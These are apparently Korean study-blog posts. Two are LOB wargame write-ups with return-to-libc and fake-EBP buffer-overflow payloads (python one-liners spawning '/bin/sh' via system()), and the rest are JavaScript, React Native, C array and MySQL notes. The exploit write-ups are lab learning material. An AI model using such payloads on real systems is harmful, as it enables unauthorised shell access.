반응형

0x28 = 40바이트를 할당하므로 dummy는 없음을 알 수 있다.

Main 함수의 에필로그를 보면 위 그림과 같이 동작하는 것을 알 수 있다.

Mov esp, ebp => espebp로 옮긴다.

Pop ebp => esp가 가리키는 값을 ebp에 저장하고 esp를 증가

Pop eip => esp가 가리키는 값을 eip에 저장

Jmp eip =>eip 주소로 이동

Jmp eip에서 system함수로 이동을 하게 하면 되지만, ret 위의 값이 조작이 불가하므로 esp가 조작된 ebp를 가리키게 해야한다.

따라서 리턴주소를 에필로그로 하면 esp가 조작된 ebp를 가리키게 할 수 있다.

 

Strncpybuffer를 채우므로, 먼저 조작된 ebp buffer를 가리키게 한다. 그 다음 리턴 주소를 에필로그로 바꾼다. 그러면 다시 에필로그를 실행하므로 Mov esp, ebp를 한다.

따라서 espbuffer를 가리키게 된다.

Pop ebp-> Pop eip-> Jmp eip를 하므로, 버퍼를 위 그림과 같이 리턴 주소에 system함수의 주소를 넣고, 그 위에 system함수의 리턴주소, 그 위에 인자를 넣어주고 남은 공간은 더미로 채운다.

에필로그 = 0x80484df

System = 0x40058ae0

 

“/bin/sh” => 0x400fbff9

Buffer = 0xbffffab0

 

에필로그 = 0x80484df => 08 04 84 df

System = 0x40058ae0 => 40 05 8a e0

“/bin/sh” => 0x400fbff9 =>40 0f bf f9

Buffer = 0xbffffab0 => bf ff fa b0

 

$(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

 

실행 후

0xbffffaa0에 들어간 것을 알 수 있었다.

따라서 buffer주소를 바꾸어 주었다.

Bf ff fa a0

$(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xa0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

(PuTTY가 출력되는 이유는 모르겠다, zombie_assassin  gdb하였을때, Operation not permitted가 발생하여 cp하여 소유자가 assassin zombie_assassi2파일을 사용하였다. )

728x90
반응형
블로그 이미지

아상관없어

,
반응형

코드에서 먼저 memcmp을 하여 argv[1] + 44 위치에 strcpy의 주소가 있는지 체크를 한다.

그리고 strcpy(buffer, argv[1])을 하여 argv[1]buffer로 복사한다.

 

그 다음 memset(buffer+40+8, ‘A’, 4)를 하여 buffer ret위를 “AAAA”로 채운다..

Argv[1] + 44 위치에 strcpy 주소를 넣으므로, 메인함수의 retstrcpy가 되게된다.

“AAAA”가 저장된 곳이 strcpyret이고, 그 위 4byte strcpy함수의 destination, 그 위 4bytesource가 된다.

source system 함수의 주소를 넣고, destination“AAAA”(strcpy ret) 주소를 넣으면 strcpyretsystem함수가 된다.

그리고 system함수의 인자를 주기 위해 buffersystem함수주소(4) + ret(더미) + “/bin/sh”주소(system함수의 인자)를 채우고 buffer 주소를 source에 넘기면 system함수의 인자도 동시에 줄 수 있다.

Sub $0x2c, %esp => 44byte를 할당하므로 buffer위에 더미 값은 할당되지 않는다.

 

P strcpy, p system으로 각 주소를 얻는다.

Strcpy = 0x8048410, system = 0x40058ae0

 

“/bin/sh”의 주소를 얻는 코드를 작성하여 주소 값을 얻는다.

/bin/sh =>0x400fbff9

 

혹은

 

환경 변수를 추가하여 찾을 수도 있다.

 

 

 

Buffer = 0xbffffaa0

&ret+4 = 0xbffffad4

 

Strcpy = 0x8048410, system = 0x40058ae0, /bin/sh = 0x400fbff9, Buffer = 0xbffffaa0, &ret+4 = 0xbffffad4를 구하였다.

 

따라서 payload를 적으면  $(python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*32 + "\x10\x84\x04\x08" + "A"*4 + "\xd4\xfa\xff\xbf" + "\xa0\xfa\xff\xbf"')가 된다.

실행 결과

Segmentation fault가 나와 명령어를 다시 살펴보았다.

예상한 값이 들어가지 않은 것을 알 수 있었다.

/bin/sh 뒤에 NOP명령어를 32바이트 주었는데 중간에 이상한 값이 들어가 있었습니다. 이 원인을 찾고자 하였다.

 

Breakmemset 이후로 걸고 주소값을 찾았다.

 

buffer => 0x bf ff fa b0 (그림 잘못표기함)

Ret+4 -> 0x bf ff fa e4

$(python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*32 + "\x10\x84\x04\x08" + "A"*4 + "\xe4\xfa\xff\xbf" + "\xb0\xfa\xff\xbf"')

Buffer의 시작 주소를 0xbffffaa0

Ret + 4 주소를 0xbffffad4로 바꾸어 실행해보았습니다

 

하지만 작동하지 않았다.

 

하지만 여전히 원인을 찾지 못하여 이때까지 실행한 결과를 적는다...

 

 

추가로 LOB Redhatbash의 버전이 낮아서 \xff\x00으로 처리하므로

Bash2로 변경하였다.

728x90
반응형

'공부 > 보안' 카테고리의 다른 글

SystemProperties로 에뮬레이터 탐지  (0) 2021.05.03
BOF 원정대 level 16  (0) 2021.05.03
간단한 버퍼 오버플로우  (0) 2021.04.28
Data type, Array operations, Byte ordering  (0) 2021.04.28
MyEtherWallet 해킹사건 분석  (0) 2021.04.18
블로그 이미지

아상관없어

,
반응형

오픈소스 프로젝트

사용자 인터페이스를 만드는 리액트에 기반을 두고 제작

ios/Android에서 동작하는 네이티브 모바일 앱을 만드는 자바스크립트 프레임워크

 

장점

- 코드 대부분이 플랫폼(ios/android)간 공유가능

- 패스트 리프레쉬로 변경된 코드를 저장하기만 해도 확인가능

 

단점

- 네이티브의 새로운 기능을 사용하는데 오래 걸림

- 유지보수 어려움

- 잦은 업데이트

 

리액트 네이티브 CLI를 이용하여 리액트 네이티브 프로젝트 생성

npx react-native init 프로젝트이름 --version x.xx.x

 

npx react-native init MyFirstCLI

cd MyFirstCLI

npm run android or npx react-native run-android

 

리액트 네이티브가 실행되면서 Metro가 실행된다.

Metro는 리액트 네이티브가 실행될 때마다 자바스크립트 파일들을 단일 파일로 컴파일 하는 역할을 한다.

 

npm run android 시 gradle 에러가 나는데 jdk16버전에서 jdk14버전으로 바꾸니 해결되었다.

따라서 정상적으로 실행되면 다음과 같다

 

 

 

 

 

MyFirstCLI 폴더에 src 폴더를 생성 후 App.js파일을 생성한다.

./src/App.js

import React from 'react'
import {View, StyleSheet, Text} from 'react-native';
const App = () => {
    return(
        <View style={styles.container}>
            <Text style={styles.title}>My First React Native</Text>
        </View>
    );
};

const styles = StyleSheet.create({
    container: {
        flex: 1,
        justifyContent: 'center',
        alignItems: 'center',
        backfroundColor: '#ffffff',
    },
    title: {
        fontsize: 30,
    },
});

export default App;

 

./App.js 를 다음과 같이 바꾼다.

import App from './src/App';

export default App;

./index.js

import {AppRegistry} from 'react-native';
import App from './src/App';
import {name as appName} from './app.json';

AppRegistry.registerComponent(appName, () => App);

 

첫 화면을 구성하는 파일만 변경하고 리액트 네이티브에서 사용되는 파일을 모두 src 폴더에서 관리하도록 한다.

 

728x90
반응형
블로그 이미지

아상관없어

,
반응형

카멜케이스

- CamelCase

 

lower 카멜케이스

- camelCase

 

스네이크케이스

- snake_case

 

파스칼케이스

- PascalCase

728x90
반응형
블로그 이미지

아상관없어

,
반응형

var / let

var은 

var a = 'a'

var a= 'b'

가 가능하므로 let을 사용

let은 한번 선언하면 재선언불가하고 재할당 가능하다.

 

== / ===

==은 자동으로 타입변환을 하여 값을 비교하지만

===은 타입변환을 하지않고 값을 비교한다. 따라서 값과 타입이 같아야한다.

 

for in / for of

for in은 객체에 사용(객체 프로퍼티 접근) => ex) foo = { name : 'foo' ~~~~}

for of는  iterable한(반복되는) 객체에 사용, 주로 값을 찾을 때 사용(원소에 접근) => foo = [1, 2, 3 ~~]

 

함수 표현식

함수 리터럴로 하나의 함수를 만들고 생성된 함수를 변수에 할당함

//함수 이름 사용
fuction add(x,y){
	return x+y
}
add(3,4)



//익명함수 사용 => 위와같이 함수 이름이 없다
const add = function(x,y){
	return x+y
}

add(3, 4)

 

기본인자

const print = fucntion ( defaultVal = 'default'){
	console.log(defaultVal)
}

 

함수 호이스팅

//호이스팅

add(3, 4) //=>undefined
function add (x, y){
	return x+y
}

add(3, 4) // 에러
const add = function (x, y){
	return x+y
}

console.log(add)//undefined => add 선언 전 undefined로 초기화
add(3, 4)// 에러 add는 함수가 아님
var add = function (x, y){
	return x+y
}

함수를 const 변수에 할당하여 변수처럼 취급

 

Arrow function => 함수 간단히

const nothing = function (x){
	return x
}

console.log(nothing(1))

//fucntion 삭제 가능
const nothing1 = (x) =>{
	return x
}
console.log(nothing1(1))

//괄호 삭제가능 매개변수가 한개일 경우
const nothing2 = x =>{
	return x
}
console.log(nothing2(1))

//중괄호, return 삭제가능 함수 안 표현식이 1개인 경우만
const nothing3 = x => x
console.log(nothing3(1))

 

 

배열관련 메소드

reverse => 배열 원소 반대로 정렬

push => 맨끝에 원소 추가

pop => 맨끝 원소 삭제

unshift => 맨 앞에 원소 추가

shift => 맨 앞 원소 삭제

include(val) => 배열이 val을 가지고 있는지 판단 (참/거짓)

indexOf(val) => val이 존재하면 첫번째로 찾은 val의 인덱스값 반환, 없으면 -1 반환

const num = [1, 1, 3, 1, 3]

num.indexOf(3) => 2반환

join(구분자) => 기본(join())은 "," 

const test = [1, 2, 3]

console.log(test.join("+"))
console.log(test.join("-"))
console.log(test.join(","))
console.log(test.join(" and "))

 

*callback 함수

익명함수의 대표적인 예시

함수를 등록하기만 하고 이벤트가 발생하거나 특정 시점에 도달했을 때 시스템에서 호출되는 함수

or

함수의 인자로 넘겨서 코드 내부에서 호출되는 함수

 

 

forEach

const arr = [1, 2, 3, 4, 5]

arr.forEach((element, index, array) => {
    console.log('elemnet :'+ element)
    console.log('index :'+index)
    console.log(array)
})

===========================================
elemnet :1
index :0
[ 1, 2, 3, 4, 5 ]
=>[ 1, 2, 3, 4, 5 ]배열에서 원소 1의 index는 0

elemnet :2
index :1
[ 1, 2, 3, 4, 5 ]
=>[ 1, 2, 3, 4, 5 ]배열에서 원소 2의 index는 1

elemnet :3
index :2
[ 1, 2, 3, 4, 5 ]
=>[ 1, 2, 3, 4, 5 ]배열에서 원소 3의 index는 2

elemnet :4
index :3
[ 1, 2, 3, 4, 5 ]
=>[ 1, 2, 3, 4, 5 ]배열에서 원소 4의 index는 3

elemnet :5
index :4
[ 1, 2, 3, 4, 5 ]
=>[ 1, 2, 3, 4, 5 ]배열에서 원소 5의 index는 4

 

 

map => 기존 배열을 새 배열로 만들 때 사용(기존 배열이 변하지 않음)

array.map(callbackFunction(element, index, array), thisArg)

thisArg = callback함수 내에서 this로 사용될 값

const arr = [1, 2, 3, 4, 5]

const returnArr = arr.map((element, index, array) => {
		console.log(element)
        console.log(index)
        console.log(array)
        return element*2;
    })
    
 console.log(returnArr)
 
 =========================
1
0
[ 1, 2, 3, 4, 5 ]

2
1
[ 1, 2, 3, 4, 5 ]

3
2
[ 1, 2, 3, 4, 5 ]

4
3
[ 1, 2, 3, 4, 5 ]

5
4
[ 1, 2, 3, 4, 5 ]


[ 2, 4, 6, 8, 10 ]

 

 

filter

콜백 함수의 반환값이 참인 값만 반환 => 필터링

const num = [10, 20, 30, 40, 50]

const result = num.filter((num)=>{
	return num>=30
})

console.log(result)

=> [30, 40, 50]

=>결과가 true를 반환한 원소들로만 배열을 만든다.

find는 요소를 반환

 

reduce => 콜백 함수의 반환값 acc에 누적

reduce(function(acc, currentValue, currentIndex, array){ , initialValue);

acc = 콜백의 반환값 누적

currentValue = 현재 처리할 요소 (옵션)

currentIndex = 현재 처리할 요소 인덱스 (옵션)

array = reduce() 호출할 배열 (옵션)

initialValue = 초기값 (옵션 => 초기값이 없으면 배열의 첫번째 요소 사용)

//콜백 함수 이용시 밑의 function처럼 콜백함수 이름을 적어도 되고 안적어도됨
const result = [0, 1, 2, 3, 4].reduce(function(acc, currentValue, currentIndex, array){
    console.log(`currentIndex : ${currentIndex}`);
    console.log(`currentValue : ${currentValue}`);
    console.log(`currentIndex : ${currentIndex}`);
    console.log(`acc : ${acc}`);
    return acc + currentValue;
}, 0); //acc의 초기값은 0

console.log("result:", result);

==========================
currentIndex : 0
currentValue : 0
currentIndex : 0
acc : 0

currentIndex : 1
currentValue : 1
currentIndex : 1
acc : 0

currentIndex : 2
currentValue : 2
currentIndex : 2
acc : 1

currentIndex : 3
currentValue : 3
currentIndex : 3
acc : 3

currentIndex : 4
currentValue : 4
currentIndex : 4
acc : 6

result: 10

 

find => callback 함수에 정의한 조건에 맞는 배열의 첫번째 요소를 리턴 (없으면 undefined)

find(callback(element, index, array)

const arr = [
  {name: 'a', age : 10}, 
  {name: 'b', age : 20},
  {name: 'c', age: 30}
];

const result = arr.find((arr) => {
	return arr.name == 'a'
})

console.log(result)

=>{ name: 'a', age: 10 }

 

 

some => callback함수에서 true를 리턴하면 true 리턴, 하나라도 참이면 참 반환

array.some(callback(currentValue, index, array), thisArg)

const num = [10,20,25,40,50]

const overThrity = num.some((val) => {
	return val>30
 })
 console.log(overThrity)
 
 
 const underThrity = num.some((val) => {
	return val<30
 })
  console.log(underThrity)
  
   const overFifty = num.some((val) => {
	return val>50
 })
   console.log(overFifty)
   
   
===========
true
true
false

 

 

every => callback함수에서 모든 요소가 참이면 참

const num = [10,20,25,40,50]

const overThrity = num.every((val) => {
	return val>30
 })
 console.log(overThrity)
 
 
 const underThrity = num.every((val) => {
	return val<30
 })
  console.log(underThrity)
  
   const underFifty = num.every((val) => {
	return val<=50
 })
   console.log(underFifty)
   
 ========
false
false
true

 

728x90
반응형
블로그 이미지

아상관없어

,
반응형

- 자바스크립트에서의 배열은 크기를 지정하지 않아도 된다.

- 어떤 위치에 어느 타입의 데이터를 저장하더라도 에러가 발생하지 않는다.

 

 

배열 리터럴

- 자바스크립트에서 새로운 배열을 만드는 데 사용하는 표기법이다.

- [] 대괄호를 사용한다.

var Arr = ['a', 'b', 'c', 'd', 'e'];

 

동적으로 배열원소를 추가할 수 있다.

var Arr = [];

Arr[0] = 100;
Arr[5] = 'a';
Arr[10] = true;

console.log(Arr.length); // 10

값을 순차적으로 넣을 필요 없이 아무 인덱스 위치에 값을 추가할 수 있다.

배열의 크기는 인덱스 중 가장 큰값을 기준으로 정해진다.

(모든 배열은 length 프로퍼티를 가진다.)

 

*length 프로퍼티

length 프로퍼티는 명시적으로 값을 변경할 수 도 있다.

var arr = [0, 1, 2];

console.log(arr.length); // 3

arr.length = 6;
console.log(arr.length); // 6
//[0, 1, 2, undefined, undefined, undefined]

arr.length = 2; // arr[2]인 2값은 삭제된다.
console.log(arr); // 0, 1
console.log(arr[2]); // undefined

push()메소드를 통하여 새로운 원소값을 추가할 수 있다.

(배열의 크기도 늘어난다.)

 

배열과 객체의 차이점

var arr = ['a', 'b', 'c'];

console.log(arr[0]);
console.log(arr[1]);
console.log(arr[2]);
//a, b, c


var obj = {
		'0' : 'a',
        '1' : 'b',
        '2' : 'c'
};
// => 프로퍼티 속성 이름이 '0', '1', '2'이다.

console.log(obj[0]); //=> 자동으로 toString으로 변환되어 obj['0']으로 인식한다.
console.log(obj[1]);
console.log(obj[2]);
//a, b, c


//typeof로 비교 => 둘다 objcet이다.
console.log(typeof arr); // object (not array)
console.log(typeof obj); // object

//length=> 객체는 length 프로퍼티가 없다.
console.log(arr.length); // 3
console.log(obj.length); // undefined

//push => 객체는 배열이 아니므로 표준 배열 메소드를 사용할 수 없다.
// 객체 리터럴 방식으로 생성한 객체는 Object.prototype 객체가 프로토타입이므로
arr.push('d'); //['a', 'b', 'c', 'd']
obj.push('d'); // Uncaught TypeError : Object #<Object> has no method 'push'

 

객체 -> Object.prototype

배열 -> Array

728x90
반응형

'공부 > 리액트 네이티브' 카테고리의 다른 글

리액트 네이티브 - jsx  (0) 2021.05.06
리액트 네이티브  (0) 2021.05.02
자바스크립트 - 정리  (0) 2021.04.30
자바스크립트 - 참조타입(객체) 1  (0) 2021.04.30
자바스크립트 - 기본타입  (0) 2021.04.30
블로그 이미지

아상관없어

,
반응형

자바스크립트에서 기본타입을 제외한 모든 값은 객체이다.

배열, 함수, 정규표현식 등도 모두 객체로 표현된다.

객체는 참조타입이라고 불림 => 객체의 모든 연산이 실제 값이 아닌 참조값으로 처리되기 때문

 

객체 생성

- 자바스크립트는 클래스 개념이 없다.

- 객체 리터럴이나 생성자 함수 등 별도의 생성 방식을 사용함

1. Object() 객체 생성자 함수 이용

//foo 빈 객체 생성
var foo = new Object(); 


//foo 객체 프로퍼티 생성
foo.name = 'foo';
foo.age = 30;
foo.gender = 'male';


console.log(typeof foo);
console.log(foo);

//출력
//object
//{name: 'foo', age: 30, gender: 'male'}

 

2. 객체 리터럴 방식 이용

리터럴 = 표기법

객체리터럴 = 객체 생성하는 표기법

{프로퍼티_이름 : 값}를 이용하여 객체 생성

//객체 리터럴 방식으로 객체 생성
var foo={	
	name : 'foo',	
    	age : '30',	
    	gender : 'male'
    };

 

3. 생성자 함수 

함수를 통하여 객체 생성 가능

 

 

객체 프로퍼티 접근

[] 또는 . 표기법으로 접근

//객체 생성
var foo = {
	name : 'foo',
    	major : 'conputer'
};

//읽기
console.log(foo.name); //  foo
console.log(foo['name']); // foo
console.log(foo.nickname); // undefined


//수정
foo.major = 'electronics';
console.log(foo.major); // electronics
console.log(foo['major']); // electronics


//객체 프로퍼티 동적 생성
foo.age=30;
console.log(foo.age); // 30


//대괄호 표기법만 사용해야하는 경우
foo['full-name'] = 'foo bar'; //동적으로 'full-name' 프로퍼티 생성

console.log(foo['full-name']);// foo bar
console.log(foo.full-name); // NaN

console.log(foo.full); // undefined
console.log(name); // undefined



- [] 사용시 접근하려는 프로퍼티 이름을 문자열 형태로 만들어야함

(자바스크립트에서는 대괄호 표기법에서 접근하려는 프로퍼티 이름을 문자열 형태로 만들지 않으면, 모든 자바스크립트 객체에서 호출가능한 toString() 메소드를 호출하여 문자열로 바꿈)

- 대괄호 표기법만 사용해야하는 경우가 있음 => 접근하려는 프로퍼티가 표현식이거나 예약어일 경우

      full-name의 경우 - 연산자가 있는 표현식임

      console.log(foo.full-name); 와 같이 마침표로 표기할경우 Not a Number이라고 표시된다.

      NaN은 수치연산을 해서 정상적인 값을 얻지 못할때 출력된다. ex) 1 - 'hello' (숫자 - 문자열)

      foo.full-name은 (foo.full) - name으로 취급한다.

 

* for in문

var prop;
for (prop in foo){
	console.log(prop, foo[prop]);
}

 

 

객체 프로퍼티 삭제

var foo = {
	name : 'foo',
    nickname : 'babo'
};


console.log(foo.nickname); // babo

delete foo.nickname; // 삭제

console.log(foo.nickname); // undefined


delete foo; // delete는 프로퍼티만 삭제된다.
console.log(foo.name); // foo

 

 

 

참조 타입 특성

var obj1 = {
	val : 40
};

var obj2 = obj1;


console.log(obj1.val); //40
console.log(obj2.val); //40

obj2.val = 50;

console.log(obj1.val); //50
console.log(obj2.val); //50

obj1은 객체를 저장하는 것이 아니라 객체를 가리키는 참조값을 저장한다.

obj2=obj1을 하면 obj2도 obj1이 가리키는 참조값을 가지게 된다.

따라서 obj1,2가 가리키는 객체는 동일한 객체이다.

 

 

객체비교

var a = 100;
var b = 1--;

var obj1 = {value: 100};
var obj2 = {value: 100);
var obj3 = obj2;

console.log(a == b); // true
console.log(obj1 == obj2); // false 다른 객체를 참조하므로
console.log(obj2 == obj3); // true 같은 객체를 참조하므로

 

 

참조에 의한 함수 호출 (call by reference)

var a =100;
var obj = { value: 100};

function changeArg(num, obj){
	num = 200;
    	obj.value = 200;
        
        console.log(num);
        console.log(obj);
}


changeArg(a, obj);// 200 {value: 200}
=> num에 100 값이 전달되고 200으로 바뀜, ojb.value = 200이 됨

console.log(a); //100
console.log(obj);// {value: 200} 참조에 의한 호출이므로

 

 

프로토타입

- 모든 객체는 자신의 부모 역할을 하는 객체와 연결되어 있음

- 객체지향의 상속과 같이 부모 객체의 프로퍼티를 자신의 것처럼 사용할 수 있음

- 부모객체를 프로토타입 객체라고 함

var foo = {
	name: 'foo',
    	age : 30
};

//foo 객체의 toString 메소드 호출 => foo객체의 프로토타입에 toString이 정의되어 있음
foo.toString();

console.dir(foo);

 

크롬에서 실행하게되면 __proto__ 프로퍼티가 있는 것을 알 수 있다.

 

모든 객체는 자신의 부모 역할을 하는 프로토타입 객체를 가리키는 숨겨진 프로퍼티가 있음.

크롬에서는 __proto__가 숨겨진 프로퍼티이다.

 

모든 객체의 프로토타입은 자바스크립트의 룰에 따라 객체를 생성할 때 결정된다. 

객체 리터럴 방식으로 생성된 객체는 Object.prototype 객체가 프로토타입 객체가 된다.

728x90
반응형

'공부 > 리액트 네이티브' 카테고리의 다른 글

리액트 네이티브 - jsx  (0) 2021.05.06
리액트 네이티브  (0) 2021.05.02
자바스크립트 - 정리  (0) 2021.04.30
자바스크립트 - 참조타입(객체) 2(배열)  (0) 2021.04.30
자바스크립트 - 기본타입  (0) 2021.04.30
블로그 이미지

아상관없어

,
반응형

자바스크립트에서 기본 타입은 숫자, 문자열, boolean, null, undefined라는 타입이 있다.

자바스크립트는 변수를 선언할 때 타입을 미리 정하지 않고, var라는 한가지 키워드로만 변수를 선언한다.

 

//예시

//숫자
var intNUM = 1;

//문자열 타입
var Str = 'asdf';
var Str2 = "Asdfasd";
var Char = 'a';

//boolean
var blool = true;

//undefined
var emptyVar;

//null
var nullVar = null;


//타입은 typeof 연산자를 이용하여 확인한다.
typeof intNUM;
..
...

 

숫자

- 자바스크립트는 하나의 숫자형만 존재

- 자바스크립트는 모든 숫자를 64비트 부동 소수점 형태로 저장하기 때문

- 모든 숫자를 실수로 처리하므로 나눗셈 연산시 주의해야함

EX) 5/2를하면 2.5가 나온다

소수점을 버리고 정수부분만 구하고 싶으면 Math.floor(숫자) 메소드 사용 

 

 

문자열

- 작은따옴표나 큰 따옴표로 생성

- 자바스크립트에서는 char타입과 같이 문자 하나만을 별도로 나타내는 데이터 타입은 존재하지 않음

- 한번 정의된 문자열은 변하지 않는다.(한번 생성된 문자열은 읽기만 가능, 수정은 불가)

var str = 'test';
console.log(str[0]. str[1], str[2], str[3]); //=> test

str[0] = 'T';
console.log(str); //=> test로 소문자가 나온다. 
//한번 정의된 문자열은 변하지 않는다.

- 문자열은 문자 배열처럼 인데그슬 이용하여 접근 가능

 

 

boolean

- true, false값 가짐

 

null, undefined

- 값이 비어있음을 나타냄

- 기본적으로 값이 할당되지 않은 변수는 undefined임

- undefined 타입의 변수는 변수 자체값이 undefined임 => undefined가 타입이면서 값이다.

 

- null의 경우는 명시적으로 값이 비어있음을 나타낸다.

- null의 타입은  object로 ==을 사용하여 변수의 값을 확인해야함

typeof nullVar == null (x)
nullVar == null (o)

 

 

 

 

 

 

728x90
반응형
블로그 이미지

아상관없어

,
반응형
#include<stdio.h>

void echo()
{       
        char buf[4]; // small
        gets(buf);
        puts(buf);
}       

int main()
{
        printf("Type a string:");
        echo();
        return 0;
}   

=> gets시 4byte보다 큰 값이 입력되면 버퍼가 넘치게 된다. 따라서 saved ebp, return address에 덮여씌여지게 된다.

만약 abcdef입력시)

728x90
반응형

'공부 > 보안' 카테고리의 다른 글

BOF 원정대 level 16  (0) 2021.05.03
BOF 원정대 level 18  (0) 2021.05.03
Data type, Array operations, Byte ordering  (0) 2021.04.28
MyEtherWallet 해킹사건 분석  (0) 2021.04.18
보안개론 정리(2) - software 취약점  (0) 2021.04.16
블로그 이미지

아상관없어

,
반응형

Basic Data Types

 

- Integral

intel GNU assembler bytes c
byte b 1 [unsigned] char
word w 2 [unsigned] short
double word l 4 [unsigned] int
quad word q 8 (컴퓨터마다 다름 4 or 8) [unsigned] long int (x86-64)

- Floating point

intel GNU assembler bytes c
single s 4 float
double l 8 double
extended t 10/12/16(system, os, complier 마다 다름) long double

배열의 할당

char 배열의 주소 크기는 1 byte

int 배열의 주소 크기는 4byte (한 원소당 4byte를 차지하므로)

double 배열의 주소 크기는 8byte

-포인터 배열

32bit 구조는 address bus가 4byte이므로 주소도 4byte

64bit 구조는 address bus가 8byte가 가능하다. 하지만 8byte는 큰 공간이므로 메모리 낭비라고 생각하여 6byte씩 표현하는 경우도 있다.

 

 

Array operations

예시

int val[5];

1 5 2 1 3

주소 : x -> x+4 ->x+8 ->x+12->x+16

val[4] = 3

val = x

val+1 =x+4

&val[2] = x+8

val[5] = ?

*(val+1) = 5

val +i = x+4i

 

예시1)

#include <stdio.h>
typedef int zip_dig[5];
int main() {
    zip_dig cmu = {1, 5, 2, 1, 3};
    zip_dig mit = {0, 2, 1, 3, 9};
    zip_dig ucb = {9, 4, 7, 2, 0};

    printf("%p \n", cmu);
    printf("%p \n", mit);
    printf("%p \n", ucb);

    /*-----------------------------------*/
    printf(“%d, ”, cmu[8]);
    printf(“%d, ”, cmu[11]);
    printf(“%d, ”, ucb[-5]);
    printf(“%d\n”, ucb[-15]);
}

 

(32bit로 컴파일)

stack protector가 설정되어있으므로 낮은 주소부터 할당이 된다.

연속으로 배열이 할당이되고 낮은 주소부터 할당이 되는 것을 알 수 있다.

0x14 =>20byte 만큼 주소가 차이난다.

 

-fstack-protector을 하면 64->78->8c로 스택이 자라고

-fno-stack-protector을 하면 bc -> a8 -> 94로 낮은주소로 스택이 자란다.

(64bit로 컴파일)

주소체계도 다르고, 0x20만큼 주소가 차이나는 것을 알 수 있다. 32byte만큼 주소차이가 난다.

(오타, 0x7ffe1eadaa40이 아니라50이다....)

 

예시 2)

#include <stdio.h>
typedef int zip_dig[5];
int main() {
    zip_dig cmu = {1, 5, 2, 1, 3};
    zip_dig mit = {0, 2, 1, 3, 9};
    zip_dig ucb = {9, 4, 7, 2, 0};

    printf("%p \n", cmu);
    printf("%p \n", mit);
    printf("%p \n", ucb);

    printf("%d, %d, %d, %d\n",mit[-5], mit[-4], mit[8], mit[9]);
}

 

 

(stack proctector)

=>

0x20만큼 주소가 차이남 (5개의 원소)

 

(no stack protector)

=>

-fno-stack-protector(스택 보호기법 해제) -> 높은위치에서 낮은 위치로 성장

5c -> 48 ->34

 

주소체계와 접근하는 방식이 달라짐!

 

 

(64bit의 경우)

 

(64bit no stack protector)

 

 

 

예시 3)

#include <stdio.h>
typedef int zip_dig[5];
int main() {
    zip_dig cmu = {1, 5, 2, 1, 3};
    zip_dig mit = {0, 2, 1, 3, 9};
    zip_dig ucb = {9, 4, 7, 2, 0};

    printf("%p \n", cmu);
    printf("%p \n", mit);
    printf("%p \n", ucb);

    printf("cmu[8] : %d \n", cmu[8]);
    printf("cmu[12] : %d \n", cmu[12]);
    printf("mit[8] : %d \n", mit[8]);
    printf("mit[-4] : %d \n", mit[-4]);
    printf("ucb[-4] : %d \n", ucb[-4]);
    printf("ucb[-12] : %d \n", ucb[-12]);
    printf("\n");
    printf(" *(cmu+9) : %d \n", *(cmu+9));
    printf(" *(cmu+11) : %d \n", *(cmu+11));
    printf(" *(mit-4) : %d \n", *(mit-4));
    printf(" *(ucb-5) : %d \n", *(ucb-5));


}

 

 

 

 

예시 4)

#include <stdio.h>
void main() {
    int k = 100;

    int a[4] = {0, 1, 2, 3};
    int b[4] = {4, 5, 6, 7};
    int c[4] = {8, 9, 10, 11};

    a[-1] = 0xAA;
    a[7] = 0xBB, a[10] = 0xCC;
    c[-2] = 0xDD, c[-6] = 0xEE;

    printf("k = %d (0x%x)\n", k, k);

    for(int i=0; i<12; i++) {
        printf ("%3d (0x%x) ", a[i], a[i]);
        if ((i+1) % 4 == 0) printf ("\n");
    }

}

=> 인덱스에 음수가 가능

=> 인덱스가 본래 의미한 것보다 더 큰 값도 가능(다른 위치도 배열의 인덱스로 접근가능)

따라서 c는 메모리 관련 취약점이 많음

(64bit)

(64bit stack보호 기법해제)

 

 

Byte ordering

=> 취약점을 분석할때 컴퓨터 구조에 맞는 데이터를 투입해야하므로 알아야함

little endian은 최소 유효 byte가 낮은 주소를 차지한다.

big endian은 최소 유효 byte가 높은 주소를 차지한다.

type별 크기

=> big/little endian에 따라 c[0]이 낮은주소/높은주소 일 수 있다.

728x90
반응형
블로그 이미지

아상관없어

,
반응형

1. 다음과 같은 컬럼을 갖는 테이블 student 를 생성하시오. 자료형은 각자 알아서 한다)

CREATE TABLE student (

sid INT NOT NULL PRIMARY KEY,

sname VARCHAR(10),

major VARCHAR(10),

gender CHAR(1) DEFAULT 'M',

reg_order INT,

lastchg DATETIME );

 

2. 4명의 학생 정보를 입력하시오 (남학생 2명, 여학생 2명)

INSERT INTO student (sid, sname, major, gender, reg_order)

VALUES(32210001, 'student1', 'software', 'M', 1),

(32210002, 'student2', 'software', 'F', 2),

(32210003, 'student3', 'software', 'M', 3),

(32210004, 'student4', 'software', 'F', 4);

 

3. student 테이블에 score (학점) 컬럼을 추가하시오

ALTER TABLE student ADD score INT;

 

4. student 테이블에서 reg_order 를 admit_order 로 변경하시오 => 다시

ALTER TABLE student CHANGE COLUMN reg_order admit_order INT;

ALTER TABLE studnet CHAGE reg_order admit_order INT;

 

 

5. 남학생들의 학점은 2.5 로 여학생들의 학점은 3.0 으로 입력하시오 (두개의 SQL문 필요)

UPDATE student SET socre=2.5 WHERE gender='M';

UPDATE studnet SET score=3.0 WHERE gender='F';

 

7. 근무지가 ‘BOSTON’ 인 사원에게 보너스(comm)를 급여의 50% 수준으로 지급 하도록 입력하시오

UPDATE emp SET comm = sal/2 WHERE deptno=(SELECT deptno FROM dept WHER loc='BOSTON');

 

8. 입사년도가 1980 년도인 사원들의 급여를 5000 씩 올리시오

UPDATE emp SET sal = sal+5000

WHERE YEAR(hirdate) = 1980;

 

4. emp 테이블에서 연봉이 4000 이상인 사람의 사원번호, 이름, 매니저이름, 연봉 데이터를 top_sal.csv 파일에 저장하시오

SELECT e.empno, e.ename, m.ename, e.sal INTO OUTFILE 'C:\\ProgramData\\MySQL\\MySQL Server 8.0\\Uploads\\top_sal.csv'

FIELDS TERMINATED BY ','

LINES TERMINATED BY '\n'

